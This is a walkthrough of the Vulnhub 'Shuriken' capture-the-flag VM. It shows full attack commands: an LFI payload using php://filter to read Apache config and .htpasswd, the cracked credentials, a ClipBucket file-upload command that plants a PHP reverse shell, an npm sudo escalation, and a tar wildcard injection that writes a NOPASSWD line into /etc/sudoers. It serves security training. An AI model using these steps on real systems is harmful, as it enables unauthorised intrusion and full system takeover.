Vulnhub : Shuriken Walkthrough

I am back with another walkthrough of a CTF Challenge I found on Vulnhub which is created by LoneWolf. This is a medium level and very good VM. So let's start!

Vulnhub : Shuriken Walkthrough

Target IP :

As usual I started with nmap scan using the command shown below to find open ports and services running in the target server.

nmap -sC -sV -Pn -p- -T4 --max-rate=1000 -o nmap.txt 
Starting Nmap 7.80 ( ) at 2020-12-05 23:58 IST
Nmap scan report for
Host is up (0.00021s latency).
Not shown: 65533 closed ports
80/tcp   open     http       Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Shuriken
8080/tcp filtered http-proxy

The port 8080 is filtered so I started enumeration from port 80/HTTP and I found a website related to the Shuriken Company. In the navigation bar, I found Sign in page any tried some common credentials but that didn't work. Next I thought to go for directory brute force and found some useful directories.

└─$ gobuster dir -u '' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt                             
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
Starting gobuster
/img (Status: 301)
/css (Status: 301)
/js (Status: 301)
/secret (Status: 301)
/server-status (Status: 403)

In the /secret directory, I found an image and tried some steganography tricks on that image but no luck. Next I thought to check  /js and I started to examine the /js/index__d8338055.js file and found that domain name is shuriken.local . So now I edited the /etc/hosts file, but after visiting http://shuriken.local, I found the same website.

Next thing I found in JS file was a GET  parameter referer, most probably this is LFI but payload http://shuriken.local/index.php?referer=../../../../../../../../../../../../../etc/passwd didn't work. Then I thought to try some other payloads and luckily this one worked:


It was base64 encoded and decoding didn't provide any useful information, now I was confused exactly which file I need to read in order to get an initial shell. Next I thought to check for subdomains using the command show below:

wfuzz -H 'HOST: FUZZ.shuriken.local' -u '' -w ../subdomains-top1million-5000.txt --hw 466
ID           Response   Lines    Word     Chars       Payload                                                                              

000000690:   400        12 L     53 W     427 Ch      "gc._msdcs"                                                                          
000001238:   401        14 L     54 W     471 Ch      "broadcast"    

I added both these subdomains in /etc/hosts file . Now after visiting broadcast.shuriken.local, I found that it is protected using HTTP basic authentication. I tried with some common credentials, but they didn't work. Next thought came in my mind was regarding LFI , if it is protected using HTTP basic authentication, then username/password must be stored in .htaccess or .htpasswd and that file name or location can be found in /etc/apache2/apache2.conf file. I thought I'd give it a try.

$ curl http://shuriken.local/index.php?referer=php://filter/convert.base64-encode/resource=/etc/apache2/apache2.conf

Again this is base64 encoded, decoding revealed some good information.

That's what I need! I tried to read the .htaccess file but it didn't work. Next I tried to read the .htpasswd file.

curl http://shuriken.local/index.php?referer=php://filter/convert.base64-encode/resource=/etc/apache2/.htpasswd

This is again base64 encoded and after decoding this, I got the username and hashed password.

└─$ echo ZGV2ZWxvcGVyczokYXByMSRudE96MkVSRiRTZDZGVDhZVlRWYWxXakw3Ykp2MFAwCg== | base64 -d 

After cracking this hash using john I found the password.

sudo john --wordlist=../rockyou.txt hash    
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
9972761drmfsls   (?)

Now we can get access to broadcast.shuriken.local subdomain.

Now we have access to the subdomain and after some enumeration, I found that it is using clipbucket v4.0. I started to find exploits for this and found a number of exploits here , but we need to figure out which exploit will work and then we need to edit it accordingly.

I decided to go with file upload exploit and for that I copied a reverse shell in my local system with name a .php , directly using the payload and this will give an error. So we need to modify the command and after editing the payload I got a message.

curl -u developers:9972761drmfsls -F "file=@a.php" -F "plupload=1" -F "name=a.php" "http://broadcast.shuriken.local/actions/photo_uploader.php"


Now by visiting the specified location, I can execute the php file and get a reverse shell.

└─$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [] from (UNKNOWN) [] 48220
Linux shuriken 5.4.0-47-generic #51~18.04.1-Ubuntu SMP Sat Sep 5 14:35:50 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 23:13:17 up  3:46,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Just after getting the low user shell I checked for user privileges and found this interesting permission.

www-data@shuriken:/home$ sudo -l
sudo -l
Matching Defaults entries for www-data on shuriken:
    env_reset, mail_badpass,

User www-data may run the following commands on shuriken:
    (server-management) NOPASSWD: /usr/bin/npm

You can read more about npm from here. We can run npm as user server-management and to get a shell of user server-management, I created a package.json file with scripts tag in it and inside the script tag I specified a build tag to run a bash script.

www-data@shuriken:/tmp$ cat package.json
cat package.json
		"build":"bash /tmp/"
www-data@shuriken:/tmp$ cat

Now we can run the bash script using the command shown below:

www-data@shuriken:/tmp$ sudo -u server-management /usr/bin/npm run-script build
sudo -u server-management /usr/bin/npm run-script build

> @ build /tmp
> bash /tmp/

server-management@shuriken:/tmp$ id
uid=1000(server-management) gid=1000(server-management)

Now we can read the flag in the home directory of user server-management. Now for root, I tried a lot of methods but they didn't work, next I used pspy64 to check for running processes and found something interesting.

I changed the directory to /var/opt/ and found that user server-management can only read this file and that was enough to get the root shell.

server-management@shuriken:/var/opt$ cat

# Where to backup to.

# What to backup. 
cd /home/server-management/Documents

# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)

# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"

# Backup the files using tar.
tar czf $dest/$archive_file $backup_files

Well, after analysing the code carefully, I found that we can get root shell using wild card injection and for that I followed some steps.

server-management@shuriken:~$ **cd Documents**
cd Documents
server-management@shuriken:~/Documents$ **touch -- --checkpoint=1**
touch -- --checkpoint=1
server-management@shuriken:~/Documents$ **echo 'echo "server-management ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' >**
 NOPASSWD: ALL" >> /etc/sudoers' >
server-management@shuriken:~/Documents$ **touch -- "--checkpoint-action=exec=sh"**

Now whenever /var/opt/ will run as root , user-management should get all the privileges.

server-management@shuriken:~/Documents$ sudo -l
sudo -l
Matching Defaults entries for server-management on shuriken:
    env_reset, mail_badpass,

User server-management may run the following commands on shuriken:
    (root) NOPASSWD: ALL

Now just execute the sudo su command and we are root! We can read our final flag present in the home directory.

cat root.txt

  ____  ____   ____    ________________ _/  |_  ______         
_/ ___\/  _ \ /    \  / ___\_  __ \__  \\   __\/  ___/         
\  \__(  <_> )   |  \/ /_/  >  | \// __ \|  |  \___ \          
 \___  >____/|___|  /\___  /|__|  (____  /__| /____  >         
     \/           \//_____/            \/          \/          
                                            __             .___
 ___.__. ____  __ __  _______  ____   _____/  |_  ____   __| _/
<   |  |/  _ \|  |  \ \_  __ \/  _ \ /  _ \   __\/ __ \ / __ | 
 \___  (  <_> )  |  /  |  | \(  <_> |  <_> )  | \  ___// /_/ | 
 / ____|\____/|____/   |__|   \____/ \____/|__|  \___  >____ | 
 \/                                                  \/     \/ 
  _________.__                 .__ __                          
 /   _____/|  |__  __ _________|__|  | __ ____   ____          
 \_____  \ |  |  \|  |  \_  __ \  |  |/ // __ \ /    \         
 /        \|   Y  \  |  /|  | \/  |    <\  ___/|   |  \        
/_______  /|___|  /____/ |__|  |__|__|_ \\___  >___|  /        
        \/      \/                     \/    \/     \/   

This completed the challenge, I hope you like the walkthrough. If you have any queries, you can DM me on discord at cyberbot#1859.

NOTE: The awesome artwork used in this article was created by Dmitry Mòói.